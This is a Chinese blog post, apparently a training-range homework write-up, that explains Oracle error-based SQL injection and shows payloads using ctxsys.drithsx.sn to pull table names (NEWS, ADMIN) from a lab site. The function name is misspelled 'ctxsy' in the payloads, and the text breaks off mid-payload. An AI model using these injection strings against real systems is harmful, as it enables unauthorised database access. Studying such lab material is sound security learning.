

# 封神台Oracle注入- 报错注入

原创



VIP文章 炎凰先生



于 2020-10-05 12:51:33 发布



818



收藏

分类专栏: [Web安全微专业](#) [渗透](#) [黑客](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: [https://blog.csdn.net/qq\\_40941912/article/details/108927691](https://blog.csdn.net/qq_40941912/article/details/108927691)

版权

## 一、原理

跟MySQL的注入一样, 都是程序原本要执行的sql语句拼接了用户输入的语句, 导致出现了不该出现的数据。不同的数据库使用的函数不同, Oracle使用的是ctxsys.drithsx.sn函数实现报错注入。

## 二、作业

### Oracle注入- 报错注入 (Rank: 5)

在id=1后添加and 1=1发现页面可以正常显示，推断此处可能存在注入点



通过报错注入函数查询当前表名：and 1=ctxsy.drithsx.sn(1,(select table\_name from user\_tables where rownum=1))，可得到表名有NEWS



通过报错注入函数查询第二张表名：and 1=ctxsy.drithsx.sn(1,(select table\_name from user\_tables where rownum=1 and table\_name<>'NEWS')，得到第二个表名为ADMIN



通过and 1=ctxs